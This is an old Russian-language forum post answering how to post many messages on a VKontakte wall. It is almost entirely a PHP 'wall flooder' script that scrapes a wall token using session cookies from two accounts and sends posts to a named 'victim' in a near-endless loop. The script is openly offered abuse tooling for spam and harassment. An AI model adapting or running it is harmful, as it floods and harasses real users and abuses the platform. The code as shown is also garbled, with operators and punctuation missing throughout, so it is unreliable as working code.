Показать сообщение отдельно

  #72  
Старый 02.04.2009, 10:43
Dumi
Banned
Регистрация: 20.01.2009
Сообщений: 129
С нами: 9108326

Репутация: 303
По умолчанию

Как зделать много записей на стене Вконтакте ?

Ответ:

Люди используют флудер стены ,собственно вот скрипт.
PHP код:
<?
$mid
="Мид стены";
$id "id жертвы";
$message "^_^";
set_time_limit(0);
error_reporting(E_ERROR E_PARSE);

$cookie1="";
$cookie2="";

//xxxxxxxxxxxxxxxxxxxxx
$hash1 = array('http'=>array('method'=>"GET",'header'=>"Accept-language: en\r\n" "Cookie: $cookie1\r\n"));
$hash1 stream_context_create($hash1);
$hash1 file_get_contents("http://vkontakte.ru/$id"false,$hash1);
preg_match_all('#wall_hash\: \'(.*)\'\,#',$hash1,$out);
$hash1=$out[1][0];
//xx
$hash2 = array('http'=>array('method'=>"GET",'header'=>"Accept-language: en\r\n" "Cookie: $cookie2\r\n"));
$hash2 stream_context_create($hash2);
$hash2 file_get_contents("http://vkontakte.ru/$id"false,$hash2);
preg_match_all('#wall_hash\: \'(.*)\'\,#',$hash2,$out);
$hash2=$out[1][0];
//xx

//xxxxxxxxxxxxxx
function connect($link$cookie){
$ch curl_init();
curl_setopt($chCURLOPT_URL,$link);
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
curl_setopt($chCURLOPT_TIMEOUT10);
curl_setopt($chCURLOPT_GET1);
curl_setopt($chCURLOPT_HEADER1); 
curl_setopt($chCURLOPT_COOKIE$cookie);

$otvet curl_exec($ch);
curl_close($ch);
return 
$otvet;
}

for(
$i=0;$i<99999999;$i++)  {
$link "http://vkontakte.ru/wall.php?act=get10&wall_hash=$hash1&wpage=100000&seed=$message&fpage=1&mid=$mid&n=3";
$res=connect($link$cookie1);
echo 
$res;

$link "http://vkontakte.ru/wall.php?act=get10&wall_hash=$hash2&wpage=100000&seed=$message&fpage=1&mid=$mid&n=3";
$res=connect($link$cookie2);
echo 
$res;


flush();
print 
$i."\n";
flush();


sleep(1);}
//By  :P
?>
 
Ответить с цитированием